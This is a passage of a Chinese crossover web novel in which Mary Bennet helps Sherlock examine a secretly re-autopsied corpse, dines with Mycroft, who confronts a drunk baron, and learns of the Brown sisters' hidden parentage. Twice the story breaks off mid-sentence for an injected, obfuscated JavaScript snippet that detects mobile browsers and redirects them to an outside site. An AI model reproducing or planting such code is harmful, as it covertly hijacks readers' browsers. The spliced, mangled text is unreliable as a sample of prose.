结果呢,都和现在的玛丽小姐一样,在垃圾桶边呕吐的头都抬不起来。 夏洛克:“玛丽,还好么?” 玛丽背着身呕吐,但是却在呕吐的间隙喘着气回答道:“你先看看死者,我缓一下就来。” 说实话,玛丽从未觉得自己如此狼狈和不堪一击,只能背着身摆手让夏洛克离开。 夏洛克也知道此刻玛丽是不愿意让自己看到她如此狼狈的一面的,决定先和斯坦福把尸体抬出来再看看玛丽如何。 伴随着福尔马林,尸体腐烂的臭味,呕吐的酸水腥味,玛丽内心一遍又一遍的给自己鼓劲打气,自己能行,自己一定可以,这没什么大不了的! 旁边递过来一个手帕,是夏洛克的。 玛丽接过手帕擦了擦嘴:“我好多了,谢谢你夏洛克。” 斯坦福先生已经将尸体放在了旁边的铁台子上,玛丽用手帕捂住了口鼻,努力压抑住胃里那翻江倒海的反胃感,再次看到那惨白的尸体,玛丽庆幸胃里已经没什么东西再吐出来了 观察了一番尸体,玛丽开始让理智回归,想要看看有什么自己能从中得到的信息。 乔治的尸体的整个胸口到腹部位置是一道Y字形缝合,从腹部往下用白色的棉麻盖着。 夏洛克从口袋里掏出一片放大镜自己查看缝合口,斯坦福站在一边:“怎么了?有什么不对劲?” 玛丽也走到尸体旁边,夏洛克将放大镜递给玛丽:“你来看看,能看出些什么?” 将放大镜沿着尸体的脑袋,脖子,耳朵后面等隐秘的位置检查完,玛丽将视线移向了缝合处:“尸体被重新打开过。” 胸口的位置,是二次缝合。 玛丽将放大镜递给斯坦福,指尖指着胸口中部的缝合线,在这里,从这里重新剪开缝合过,皮肤上有原本的缝合针口,缝合线的颜色也不一样。 虽然在昏暗的环境下不仔细看的话是看不出来的,但是利用放大镜放大后,胸口的缝合线确实有一定区别,而且再高超的医生也不可能在两次缝合中完全重复上一次的缝合针口。 斯坦福略微皱起眉头:“不可能,第一次解剖之后尸体一直放在这里,没有听说再次检查的情况。” 玛丽站在一边,思索了一番:“每次检查都会有记录么?” 斯坦福:“当然,不论是案件相关的还是我们教学用的,每次只要解剖都会有登记……对了,我去找一下,你们在这里稍等。” 说完斯坦福就转身走出了解剖室:“我去办公室里找找,所有的解剖记录都会在办公室里存档的。” 玛丽和夏洛克在原地等待着,夏洛克绕着尸体走了两步:“这里是捆绑的痕迹。” 夏洛克指着尸体手腕和脚腕的部分,摆放超过了一周的尸体上已经浮现了很多的痕迹。 在玛丽未曾接触过的领域里,夏洛克像是教导学生一点点的指出尸体上那些痕迹所代表的背后含义。 玛丽从未体验过如此教学,不说如痴如醉,但是也是收获颇丰。 夏洛克在解释过目前能看出的伤痕后看向玛丽:“你觉得这些痕迹代表了什么?” 玛丽思索片刻:“在失踪的这一周里,这位德维克先生恐怕是被关在什么地方当做供血者,他的手脚都被捆绑过,小臂上的伤痕可能是搏斗之后留下的,他这样一个在工厂里干活的高大男性,能和他对抗的应该是一个身高体重差不多的壮年男子,脑后的位置还有伤口可能是被人用棍棒之类的东西打过?我认为可能是两个甚至以上的人袭击的,如果一开始打算打晕带走,那么这群人可能并不希望把事情闹大,这样一想的话,如果只有一个人行动,把德维克先生打晕拖着走可能会比较耽误时间,但是有两个及以上的人抬走,可能更符合他们的想法。” 夏洛克也赞同:“没错。” 玛丽;“而且看这两处伤口……”指着尸体上小腹部左侧的位置还有左腿外侧继续说道“同一侧的伤口,一个人不会右手既拿着棍棒又握拳。” 将夏洛克拉到一边,玛丽思考了一下几处伤口的位置然后开始演示:“我认为第一下应该是一个人用棍棒攻击了德维克的后脑勺,以为这样可以打晕他” 说话间玛丽用手帕扫过夏洛克的后脑勺,夏洛克转过身面对玛丽:“正常人背后收攻击后会第一时间转过身,他直面了攻击的人。” 玛丽点点头:“两人这时候开始搏斗。” 在夏洛克的肩膀,腹部点了两下,都是在尸体的左侧受伤的位置。 夏洛克抬起胳膊:“这时候他会抬起胳膊抵挡,这就是小臂伤口的由来。” 玛丽站住:“此时应该有第二个人出现,在背后攻击他的……左腿?” 夏洛克:“看来两个人惯用手不同,一个是左手,一个是右手。” 两个攻击的人前后夹击…… 玛丽忽然停顿住:“我认为应该还有第三个人。” 夏洛克:“阻止他的呼喊……” 玛丽;“否则听到呼救声,周围的人不可能不出来查看的。” 因为去过一次贫民窟,玛丽知道那里是多么的拥挤。 斯坦福举着一沓纸从门外进来:“我找过了!没有第二次解剖的记录!” “最近所有的解剖都找过了,除了这个德维克先生之外,没有其他的解剖记录。” 听到斯坦福的话夏洛克和玛丽重新走回尸体旁边,斯坦福将手里的记录递给夏洛克:“关于德维克的记录都在这里,只有我和我的助手在第一次解剖的记录,除此之外不应该有人再碰过他。” 夏洛克和玛丽凑到一起看着斯坦福递过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749143|174252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来的记录,上面明确记录了尸体上所有的伤口的位置大小,可能是什么东西造成的,但是除此之外并没有第二次解剖的记录。 玛丽抬起头看着斯坦福先生:“那我们要重新打开看看么,我认为这个被隐藏的第二次解剖一定抱有什么目的!” 斯坦福却有些为难:“如果是这样,可能需要和苏格兰场打个招呼。” 今天可能没办法做二次或者说三次解剖,但是尸体上收获的线索也算是一项进展。 夏洛克:“好的,那我们等会去一趟苏格兰场,如果顺利,明天再一起看看情况。” 斯坦福和夏洛克重新将尸体送回柜子里收好。 两人准备合上柜子的时候玛丽却忽然叫住两人:“稍等。” 斯坦福不明所以的回头:“怎么了?” 玛丽从头上拽下一根头发小心的将头发卡在柜子的角落里,这位置平时不会注意也不会碰到,但是如果有人打开柜子,这根头发就会掉落下来。 “小心为上。” 这是玛丽在某本小说中学来的办法,可以用以防备别有用心之人。 夏洛克大约这方面的书看的不多倒是第一次见到这种办法,倒是颇为赞赏,决定以后多加利用。 两人和斯坦福约定好明日再一同前来。 此时已经临近傍晚,两人打算随便找个地方吃点饭。 斯坦福和他们一起离开,出门的路上两人还在闲聊。 斯坦福:“你之前说的找房子的事情怎么样了?有什么新进展?” 提到这个福尔摩斯确实颇为头疼:“正在找呢,你也知道,一个舒适又价钱不高,最好还要靠近市中心的房子可不好找。而且最关键的是你也知道我的情况,如果碰到不是很好说话的房东,恐怕住不了多久我又要搬家了。” 玛丽想起昨晚和郝德森太太吃饭时她说的话,郝德森太太的公寓一共有三层楼,一层她自己居住,三楼租给了玛丽,考虑到房子里有两个女性,一个青春一个年迈,如果遇到什么事害怕因对不及,一直想再招租一个人品高尚的先生,既能有一份收入,又能保障他们的安全,可是一直没有合适的人选。 “提到这个,我倒是有个好地方推荐。”玛丽斟酌了一番开口说道。 夏洛克转过头:“哦?说来看看?” 玛丽:“我目前租住的公寓,房东是郝德森太太,她是一位好脾气的太太,为人慈爱,对我颇为照顾,房子在贝克街221B,一整层的房租一年大约是110几尼,我目前租了三层,你如果有这方面的打算,可以考虑租下二楼的房屋,两层的布置应当是差不多的,三个空屋子之外还有一个会客厅,十分宽敞舒适。” 夏洛克欣喜万分:“听上去是个不错的选择,不过110几尼①恐怕对我目前的经济状况有些困难,我可能需要找一位合租人。” 而且考虑到玛丽和郝德森太太两位独居女性都存在,哪怕夏洛克要找合租人,恐怕也要先确认对方是一位人品过关的绅士。 斯坦福:“我也会帮忙看看的,夏洛克你倒是可以先去看看公寓,如果确实是个好地方,可以考虑考虑。” 闲话间三人走出了医院的范围。 到了门口也是碰巧,夏洛克竟然看到了自家兄长,麦考福特·福尔摩斯。 25. 第 25 章 麦考福特刚结束和院长的沟通,走到门口倒是和兄弟碰上了。 夏洛克可不会错过这个机会:“嘿,麦考夫!” 麦考福特听到呼唤声回过头,在看到夏洛克和玛丽之后停下脚步在马车边等待着。 玛丽对这位大福尔摩斯先生颇为忌惮,说不清,只是觉得他心思深沉,令人捉摸不透,那总是带着笑的一张脸背后恐怕都是阴谋算计。 夏洛克打定主意要让麦考夫给晚餐买单:“我真是饿坏了!” 麦考福特对夏洛克很是无奈:“如果妈妈知道你在伦敦就是过这样的日子一定会很高兴的,自己的小儿子不知道什么时候就能完成把自己饿死的壮举!想到这里真是令人激动不已啊。” 这熟悉的讽刺之语让玛丽想到了班纳特先生。 夏洛克才不会在乎麦考福特的小小讽刺:“走吧走吧,晚上我们还有一段路要跑呢,可不能耽误了时间。” 说完夏洛克率先坐上了马车,车夫还是熟悉的托马斯。 玛丽在夏洛克身后一时之间有些踌躇。 还是麦考福特率先打破了沉默:“没想到又见到您了班纳特小姐,看来您今天行程匆忙。” 玛丽努力板着脸:“您好,福尔摩斯先生。” 麦考福特伸出手:“不知能否有幸邀请您与我们共进晚餐,我知道有一家店味道还算不错。” 玛丽左右看看,夏洛克在车厢里探出头:“来吧玛丽,麦考夫的品位还是很不错的。” 麦考福特还是挂着一副笑脸,玛丽逆反心理冒了出来,自己为什么要怕他,自己又不求着他什么,有什么好害怕的呢?现在她能做自己的主! 玛丽扶着麦考夫胳膊上了马车,想起上次自己和这位先生在马车上面对面的经历,玛丽上了马车就立刻占据了夏洛克正对面的位置。 果不其然,麦考福特上了马车之后选择坐在夏洛克旁边,和玛丽呈现斜对角的位置。 上车坐定之后麦考福特看向夏洛克:“你们晚上还要去哪里?” 夏洛克:“圣贾尔斯的老威廉酒馆,约了七点碰面。” 麦考福特思索一番:“去Rules。” 玛丽没听说过那地方,麦考福特吩咐完转过头就看到玛丽好奇的双眼,贴心的解释道:“Rules就在考文特花园的少女巷,距离你们要去的圣贾尔斯不过区区1300英尺(396米)左右。他们店里的烤牛肉可是拿手好菜,现在是狩猎季,还有松鸡提供,那也是他们的特色。” 听上去倒是不错,但是玛丽略微皱起眉头,考文特花园的餐厅,听上去可不便宜,虽然自己平日里不在意,但是某些餐厅确实会禁止穿着不得体的人进去。 低头看了看自己的裙子,经过一整天的奔波,裙摆上明显有污渍,鞋子上也是泥巴,而且因为在贫民窟停尸间逗留的时间,身上也充满了一些诡异的气味。 特别是在如此狭窄的马车内,玛丽甚至能闻见自己身上的气味。 可是这位麦考福特先生却像是什么都看不到也闻不到一般。 一行人很快来到了餐厅外,从门口看过去就知道这里的装潢实在不错,很是富丽堂皇。 门口的侍者打开车门,麦考福特率先下车,在车边站定后扶着玛丽下了车。 似乎没想到车里的小姐竟然是如此穿着,侍者呆愣了一瞬间又立刻收回了惊愕的表情,保持着高水准的微笑引导三人。 麦考福特和夏洛克走在玛丽的两边。 玛丽原本以为会被拦住,但是没想到侍者什么都没说,只是轻声介绍今晚的特色菜,他们运气不错,今天正好有松鸡。 进入餐厅就可以看得出来,这家餐厅恐怕并不是给平民甚至中产阶级消费的,地上铺着的地毯十分华丽,玛丽低头看到自己的鞋子踩在红地毯上留下泥巴鞋印,难得的竟然有些尴尬。 麦考福特看向旁边脚步一顿的玛丽并未多说什么,仿佛这份窘迫与尴尬并不存在。 红金色的花纹无处不散发英镑的气味,侍者带领三人走过楼梯穿过大厅,大厅内的桌子摆放并不密集,桌子与桌子的间隔中穿插了各种植物,营造出开放又私密的环境。 有几位绅士看到了麦考福特还点头问好,麦考福特并未停下脚步只是一一点头致意。 那些人的穿着打扮无一不精致,无一不高贵,可是他们却都对麦考福特笑脸相迎,仿佛他们是多么熟悉的好友。 最终侍者带他们带入了二楼角落的一个包厢,这让玛丽想起了剧院的设计。 进入屋内,果然像是剧院一般,是一圈围栏,只是围栏两侧还有幕布,如果落下幕布可以遮挡包厢内的情况,现在幕布打开着,视线倒是正对着一楼角落的钢琴,那里正在演奏,整个餐厅流淌着舒缓的音乐,食物的馨香,大家都是彬彬有礼,笑脸相迎。 夏洛克先给玛丽拉开了座位,圆桌的布置让三个人都能互相看见彼此,玛丽坐在靠近入口处的位置,左手边是夏洛克,右手边是麦考福特。 餐厅一楼有一个巨大的壁炉,燃烧着香料的壁炉烘烤的玛丽脸颊都带着一丝热意,墙上还有着各种油画以及狩猎装饰,可谓流光溢彩。 侍者给麦考福特递上菜单,麦考福特点了几个招牌菜:“我非常推荐班纳特小姐尝尝他们的鹿肉和松鸡。” 玛丽不怎么挑食,只是点点头:“听您的安排福尔摩斯先生。” 夏洛克做的位置旁边就是围栏,从他的角度可以看到一楼很多人,指着其中一个位置夏洛克问道:“我如果没记错,那位正是雷利爵士?” 这个名字有些熟悉,玛丽忽然想起,之前加德纳先生那被掉包的蓝宝石戒指,艾伦·艾德莱恩先生所偷窃的蓝钻石正是这位雷利爵士的。 出于好奇玛丽也下意识的凑过去看了一眼,起身探看之后发现是一位看上去四五十岁的老人,头发花白,发顶都已经秃了,但是左右两边却各有一位青春靓丽的女子,其中一位右手端着酒杯,左手还抚摸在这位雷利爵士的臂膀上。 玛丽发誓,那位女士的胸口都贴在爵士的身上了。 感到自己的肩膀有一股热意玛丽低头一看才发现,自己因为靠近围栏查看,不自觉的竟然与这位大福尔摩斯先生的肩膀靠在了一处。 玛丽立刻坐了回去,别别忸怩的开口道:“抱歉福尔摩斯先生。” 麦考福特并未在意,只是顺着夏洛克的视线看过去:“看来最近他收获颇丰。” 想起他经营的地下赌场,玛丽撇撇嘴。 夏洛克:“我以为你会出手?” 麦考福特看了眼玛丽,似乎因为她的在场不便多言,玛丽只当自己什么都没听到。 侍者还未前来,倒是听到两个脚步声。 “麦克,真是想不到竟然在这里碰到你,之前埃塞克斯的宴会上还想和你仔细聊聊来着。” 两位绅士都只穿着西装衬衫搭着一件马甲走了过来,看得出来他们很放松。 其中一位已经喝的脸颊通红:“嘿麦克!” 玛丽低着头只当自己不存在。 看到隔间里还有别人在,较为清醒的一人还算礼貌:“看来你与朋友有约,真是打扰了。” 麦考福特只是伸手握了握手:“偶然遇到幼弟和……” 还没说完,另一个已经喝大了的男人却走到玛丽身边直接伸手揽住了她的肩膀,甚至低头在玛丽的脖颈深吸一口气,嘴里还不干不净:“麦克,想不到你喜欢这种温顺的,考文特花园的野马让你无法驾驭啦?小美人,你在哈里斯名单①的第几页?” 玛丽气的不行,还没等夏洛克和麦考福特说话,直接一脚踩在了这位无理之人的鞋面上,干净的皮鞋上立刻染上了鞋印。 “松开我!” 麦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749144|174252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 考福特也难得的露出一张板正严肃的脸。 另一位先生连忙将他拉到一边:“吉鹏你喝醉了。” 意想不到 那位叫吉鹏的先生竟然直接将手里的酒杯向玛丽泼去,嘴里甚至还污言秽语! “X子!你以为你是谁!” 麦考福特一个健步挡在了玛丽的身前,一杯就要5英镑的勃艮第红酒②就这么喂给了麦考福特的外套后背。 玛丽像是愤怒的小狮子,试图绕过麦考福特冲过去给这位先生一记耳光尝尝。 麦考福特伸手精准的捏住了玛丽的后脖颈。 他此刻背对那两人,左手拉住玛丽的胳膊,右手张开的虎口捏住了玛丽的后脖,拦住她冲动的脚步。 玛丽这一下直接撞到了麦考福特的胸口,她知道这位福尔摩斯先生是为了阻拦自己,但是在另外两人看来麦考福特的动作却像是拥抱住这个小女孩一般。 麦考福特低头看着玛丽因为愤怒而格外闪亮的绿色眼眸,那瞳孔里仿佛在燃烧着火焰,此刻那双燃烧着火焰的双眼正盯着他,麦考福特只觉得手掌下的皮肤都带着灼烧感,那种让人颤栗的灼热让他不自觉的吞咽了一下。 这位吉鹏似乎被这一幕给吓得清醒了一些,旁边的那位先生一时之间也没敢说话。 夏洛克站到了玛丽的旁边面容严肃的盯着两位不请自来的恶客。 麦考福特松开捏着玛丽后脖颈的手,顺势拍了拍她的肩膀,转而面对那两人。 玛丽双手环在胸口,从麦考福特的背后走出来,愤怒的盯着两人,特别是那位吉鹏先生:“道歉,你必须和我道歉。” 麦考福特就这么站在玛丽的面前慢条斯理的脱下外套,露出里面的马甲和衬衫,在修身的外套下只能隐约看出他健壮的胳膊和宽阔的肩膀,可是脱下外套,贴身的衬衫和马甲将他的身材修饰的更加健朗,肩膀平直而宽旷,胸肌蓬勃,两边的大臂上环着金色的绑带袖箍,勒出肌肉的轮廓,劲瘦的腰部被马甲包裹。 和传统贵族所穿着的克尤罗特③不同,麦考福特更偏爱整体的礼服外套和长裤,布扣将他的腰部勒出一道弧线,哪怕从背后看也是一个十分健壮雄伟的男性。 玛丽仿佛看见一头原始、野蛮、充满力量的野兽被捆绑在文明的枷锁里,虽然麦考福特的动作很缓慢,但是玛丽总觉得下一秒他那炽热的手掌就会掐住对方的喉咙, 麦考福特先生看上去像是会做出这种事情的人,他是一头会随时露出獠牙的野兽。 吉鹏:“抱歉……抱歉麦克……麦考福特,我……” 麦考夫将礼服外套随手搭在一边:“看来吉鹏男爵有点不胜酒力,不过恐怕您道歉的对象错了。” 那位吉鹏先生脸色十分难堪,就连另一位先生的脸色也有些尴尬,麦考福特就这么看着两人,在麦考福特的视线压力下那个吉鹏率先败下阵来:“抱歉女士,我有些喝多了。” 玛丽冷哼一声,如果真的喝多了,怎么看到这位麦考福特先生的冷脸就醒了酒?只不过是借口罢了。 麦考福特看着玛丽:“是否要原谅,这要取决于您。” 玛丽看向麦考福特,那双眼睛依然燃烧着火焰。 麦考福特再次感受到那种颤栗,他移开视线,将视角定在玛丽紧紧皱着的眉头。 他的态度摆的很鲜明,受到侮辱的是玛丽,是否要原谅,这取决于玛丽的决定。 玛丽:“你并不是在和我道歉,你打从心底里瞧不起我,这份道歉我绝不接受,我并不会原谅你,我也不想再见到你,请你立刻离开!” 麦考福特看了眼两人,两人对视一眼立刻点头离开,临走的时候那位吉鹏还在回头看向麦考福特。 夏洛克看了一眼麦考福特似乎没什么变化的脸色,以他和麦考福特当了二十多年兄弟的经验来看,这位吉鹏先生恐怕要吃很大的苦头了。 50-60 51 第51章 一大早起来安娜就和玛丽忙忙碌碌的收拾屋子,说起来三个房间并不杂乱,但是真要收拾起来的时候发现哪里都要动一动。 盥洗室的浴缸要刷一刷,书房的书本也要收拾。 玛丽正在书房里将自己随意放置在各个角落的书重新收回书柜,收拾到一半忽然跑了出来。 安娜正在收拾客厅,看到玛丽气呼呼的冲出来双手叉腰看着自己:“怎么了?” 玛丽:“麦考福特先生说话不算话!” 安娜听到自家BOSS竟然落得如此重罪连忙摆手:“这可是天大的罪名,玛丽小姐,可一定要告诉我为何这么说,也容我替先生申辩一二呀!” 玛丽:“他说好了,会送来书单的,那可是我的补偿!我看中了好几本书要送给简和莉齐当做礼物呢!” 安娜并不清楚此间事宜,但是这番罪责可不能允许先生毫不知情,连忙情真意切的让开书桌的位置:“小姐,还请你写上一份便条,我立刻请人加急送去给先生,我想不会超过明晚,您的请求一定会得到回应的。” 玛丽被安娜推到位置上坐下,拿起笔却看着面前的纸条一时之间有些踌躇,安娜已经打开了墨水盖子,看到玛丽时不时看向自己的眼神,连忙忍住笑意走到一边:“我去给您准备午餐。” 等到安娜离开之后,玛丽才落下笔尖。 钢笔在信纸上龙飞凤舞:“亲爱的麦考福特先生,你可真是一个坏先生!” 真切的将自己对书籍的渴望期盼,以及对麦考福特说话不算话的气愤表达清楚之后,玛丽又别别扭扭的开始帮麦考福特找理由,他这么忙,那些书这么多,说不定还没整理出来呢。 这么想着,玛丽又在信件的后面贴心的帮他写上了许多理由,最后表达,如果来不及整理,还请将某几本书尽快送来贝克街,她的姐姐将会在明日造访,她希望能亲手将这些书送给自己的姐姐。 最后的最后,玛丽开始去翻找自己的书房,从朗伯恩带来的书籍并不多,大多数都是工具类书籍,在翻看了几行之后终于在《化学年鉴》《战术通论》的中间找到了一本杂志,当时因为杂志中有收录关于各种空气的实验与观察的一篇文章,后面玛丽随手翻阅,记得这本杂志内似乎收录了一些诗歌。 将这首诗歌认认真真的抄录上去,玛丽看着自己的信件觉得完美极了 开头表达了自己的气愤,中间表达了自己对于书籍的渴望,结尾也表达了自己的体谅提供了另外的解决方案,最后的最后,还抄录了一首爱情的诗歌。 再也没有比自己更聪明的学生了,在“爱情”这一学业中,自己进步的可真快。 将信纸吹干叠好,装进信封,玛丽请安娜尽快送去。 安娜接过信件后转交给了贝克街专门为221B服务的快递员,这封爱情学习报告很快被送到了某位坏先生手里。 麦考福特看着如此郑重其事的信件连忙打开,在看完整封信之后,立刻提笔回信,信件中洋洋洒洒的表达了自己的诚惶诚恐,忐忑难安,感恩玛丽小姐的宽宏大量,她实在是再体贴不过了,实际情况确实如她料想的那样,海量的书籍需要一定的时间去整理汇总,但是她当初选定的几本都是被格外挑选出来,绝不会有不识趣的人抢夺走小姐的爱物,他今天一定会妥善的安排这几本书籍,保证宽宏大量的小姐在晚餐前就会收到这些礼物。 在看到最后落款的情诗,麦考福特原本的坏心情都忍不住缓和了许多。 玛丽小姐开篇那句“我的爱人如同红色的玫瑰,在六月的风里含苞待放” 真是妙极了,如果是一位绅士写给他的爱人,绝没有问题,但是麦考福特确实很难想到,玛丽小姐是用什么表情想着自己,写出他如同六月的玫瑰。 玛丽和安娜在吃过午餐之后准备下午继续收拾,夏洛克则请人送回来了一张便条,表示他根据玛丽提供的信息,查到了布朗姐妹的一些事情,决定与晚餐后和玛丽商谈,还请玛丽不要那么早入睡。 等到了晚上,夏洛克和华生几乎算得上脂香满溢的归来,两人走进玛丽的房间时玛丽差点当面打了个喷嚏。 玛丽捂着脸做到单人沙发上,安娜去一楼准备一些茶水,华生走到窗边打开了窗户,快要入冬的凉风从窗外灌进会客厅,吹散了那浓郁的气味。 夏洛克靠在长条沙发上,整个人没了正行,两腿甚至瘫在沙发座椅上,疲惫的感觉下一秒就要晕过去了,华生也没好到哪里去,一直在窗边揉着自己的眉头。 等到气味淡了一些,夏洛克才回过神来:“可真是忙碌的一天。” 玛丽还在用双手捂住自己的半张脸:“是有什么新收获么?” 夏洛克点点头:“没错,恐怕是很大的收获。” 玛丽急切的看着夏洛克,希望他尽快说出后续的消息。 夏洛克也没有辜负玛丽的期盼,说出了一个算是重磅炸弹的消息:“那位小布朗小姐,恐怕是雷利的私生女。” 玛丽惊呼一声:“上帝啊!” 她可是亲眼到那位小布朗小姐的惨状,如果她是雷利的私生女,那么按照霍克侯爵所说,那可是雷利亲手送给他的。 雷利将自己的女儿,送给了一个混蛋变态恶魔! 玛丽一想到那位小布朗小姐充满泪水,呼喊他们救救她的样子,忍不住再次感叹了一句:“上帝啊!”* 夏洛克在口袋里摸来摸去,摸出了一个烟斗:“介意么?” 玛丽摇摇头,夏洛克沉默的点起了烟斗,一旁的华生在夏洛克旁边的位置坐了下来。 华生:“恐怕你不会想到我们如何得知这些事情的。” 玛丽刚准备询问,安娜将茶水送了上来,看到几人似乎在说什么,安娜并没有在房间逗留,只是来到楼下的位置看好大门。 华生端起茶杯喝了一大杯热茶,从胸口深深地弹出一口气:“您之前提供的信息很是关键,我和夏洛克一大早出门先是去了西区警局,想要找找那位格林小姐,监牢的人说她们一大早就被保释走了。” 夏洛克紧接着说到:“于是我们又赶去了希腊街,可是她们一个人都不在” 玛丽闻言忍不住皱起眉头:“这不对劲,很不对劲……” 夏洛克点头:“没错,我仔细打听后得知她们似乎和某位老鸨起了冲突,于是我们又再次前往那位弗洛伦斯女士的女支院……真是好一番热闹。” 说到这里,他忍不住面露惊恐之色,这对夏洛克来说可真是太难得了。 玛丽这才仔细打量起夏洛克,从衣服,到气味,到他的袖口,头发。 忍不住忽然笑了起来:“夏洛克,你浑身上下乱糟糟的,领口的口红就不止三个颜色,你总不会是被一群姑娘们打了吧?” 华生热不住揉了揉眉头:“是我们两个……” 玛丽忍不住拍打着扶手笑了起来,夏洛克和华生两位先生,被一群姑娘们打了,可真是太有意思了。 华生再次深深地叹了口气:“非常荣幸能逗您一笑,不过这可真不是什么好的回忆,上帝,这群姑娘们可太可怕了。” 现在回想起现场的情况华生都感到一阵后怕。 夏洛克也忍不住感慨,他从前接受委托,提前写信拜访时对方总是会在某个地方老老实实等待着的,他难得主动插手,几次三番的追逐知情人士,万万没想到还能撞上这样的情况。 二十多个女孩子打的惨叫连连,抓头发,口鼻子,挖脸,甚至还有某个拳击小姐,被人抓住头发之后混乱中给了周围人好几拳,夏洛克发誓,他再也不会轻视任何一个女人,天知道那一拳头打在他肚子上的时候,他快把早饭吐出来了。 玛丽在旁边听得津津有味。 混战结束后夏洛克浑身上下至少挨了十几拳,华生也没好到那里去。 要不是看在夏洛克大吼要喊警察来,两边的女人怎么都不会停手。 最后看在“警察”的面子上,两边人马各自分开。 夏洛克终于找到了格林小姐,那位格林小姐对玛丽嗤之以鼻,当着夏洛克的面说她是一个故作高尚的虚伪之人,装模作样,根本算不得什么好人。 说这话的时候格林身上还披着玛丽的斗篷。 不过看在夏洛克给英镑给的还算痛快,倒也算是知无不言。 格林表示小布朗和大布朗小姐实际上根本不是一个母亲,小布朗小姐的来历实际上没人知道,格林也是偷听来的。 几年前她一直生活在贫民窟的一家女支院里。 说道这里的时候,玛丽忽然站了起来:“上次我们去探查贫民窟的时候,你还记得么!” 夏洛克显然没想起来玛丽在说什么,对他来说与探案无关的知识是很难在大脑里停留下来的。 玛丽急切的说道:“我们去贫民窟拜访那位卡特,就是吸血鬼案件的时候呀,咱们去拜访的那位瘸腿先生!路上咱们经过了一家女支院,当时我还在那里看到了大布朗小姐,之后你捂住了我的眼睛!” 这么一说,夏洛克似乎有些印象了。 玛丽继续说道:“如果格林说的没错,小布朗小姐的消息或许可以在那里找到!” 夏洛克将此事记了下来,华生继续说了之后的事情。 格林小姐偷听来的消息是说有某位贵族曾经购买过一些雏鸟,似乎是用于贿赂一些上层议员,其中一个与这个贵族在一夜之后怀上了孩子。 那位女人原本只是一个乡村农夫的女儿,打算来城里找个工作,被骗被卖之后,那女人无法回家,无法面对自己的家人,可是生病的亲人需要她工作赚来的金钱。 在找了工作想要重新开启生活之后,女人却发现自己怀孕了。 她只有过那贵族一个男人,可是如今两人云泥之别,她根本没无法靠近那贵族的庄园,也无法申诉自己的冤屈,她也想过要打掉这个孩子,可是虔诚的信仰也不允许她杀生。 内心极度痛苦挣扎了几个月后,孩子出生了,女人将孩子送去了救济院,她给救济院留下了那位贵族的地址和信息,表示如果可以,希望救济院的人将孩子送去给那位贵族。 而玛格丽特,就是在救济院里长大的,她亲手从那个女人的怀里,接过了小布朗。 52 第52章 关于布朗小姐的消息确实让玛丽感到很震惊,其次是感到有一些心疼。 这是一种很复杂的情感,她见过小布朗小姐,那是一个十分可人的女孩子,看上去弱小,无助,只用一双水汪汪的大眼睛看着别人,就会让人心生无限怜惜,特别是知道她有着如此坎坷的身世,她的出生已经如此让人可怜可叹,再想起上次见到她,现在的生活似乎也很痛苦,看到一个如此可怜的女孩子,如何会不心疼呢。 紧接着玛丽问道:“那她是如何成为小布朗小姐的呢?如果她和那位布朗夫人并没有关系的话?” 这确实是个问题了,虽然布朗夫人也不是什么好人,但是对小布朗小姐而言,一个救济院的女孩子,是如何成为一个交际花的私生女,这可不是什么随随便便就会发生的事情。 夏洛克吸了一口烟斗,一双烟灰色的眼睛微微眯起,似乎也在思考这个关键问题。 当天晚上几人并没有交流出什么结果,当然了,现在几人手上掌握的消息并不全面,都是一些细节片段,但是似乎所有的事情都是和两位布朗小姐沾亲带故的。 玛丽临睡前还在想着,自己是不是该找机会去和两位布朗小姐说说话,看看能不能探听些什么,陷入沉睡前的最后一秒,玛丽脑子里闪过一丝念头。 自己到底算不算一个侦探? 第二天一大早起来的时候玛丽还有些晕乎乎的,换好了衣服洗漱完,刚从卧室出来就看到了会客厅的桌子上堆积成一小摞的书籍。 玛丽惊呼一声冲到了书桌边,她在信件中说的那些书都送来了!麦考福特先生可真是一个贴心爱人! 安娜将餐具摆放好:“昨天晚上先生送来的,您已经入睡了,我就先放在了桌子上。” 玛丽高兴的将书籍一本本分类好:“这几本是送给简的,这几本是送给莉齐的,好吧,这几本小说可以送给凯蒂和莉迪亚,希望她们俩能好好坐下来看一看。” 莉迪亚虽然不怎么爱“学习”,但是对于一些小说还是有兴趣坐下来读一读的。 前提得是那种热血的,充满激情澎湃的故事,最好是哥特类,她喜欢那种动不动就吓人一跳的风格的小说。 作为一个好姐妹,玛丽并不是那种厚此薄彼的性格,两位姐姐会有的,两位妹妹也会有。 吃完早餐没过多久,玛丽就从会客厅的窗口看到了一辆马车。 是加德纳先生家的马车,显然车上是简。 玛丽等不及了,丢下手里的书本就匆匆的跑下来。 郝德森太太刚打开门,就听见楼梯传来咚咚咚的声音,一回头玛丽已经跑到了门厅,给了姐妹一个大大的拥抱。 玛丽用力的拥抱了自己的姐姐:“简,我真是想念你!” 简倒是很惊讶,玛丽很少如此热烈的表达自己的情绪,她并不是不爱姐妹们,只是将自己的关心和爱藏在细节里。 昨天来到伦敦的时候加德纳舅舅还说,玛丽改变了许多,看来伦敦确实是一个大城市,很是能改变人,就连玛丽都变得热情开朗起来,竟然会直白的表达自己的感情了! 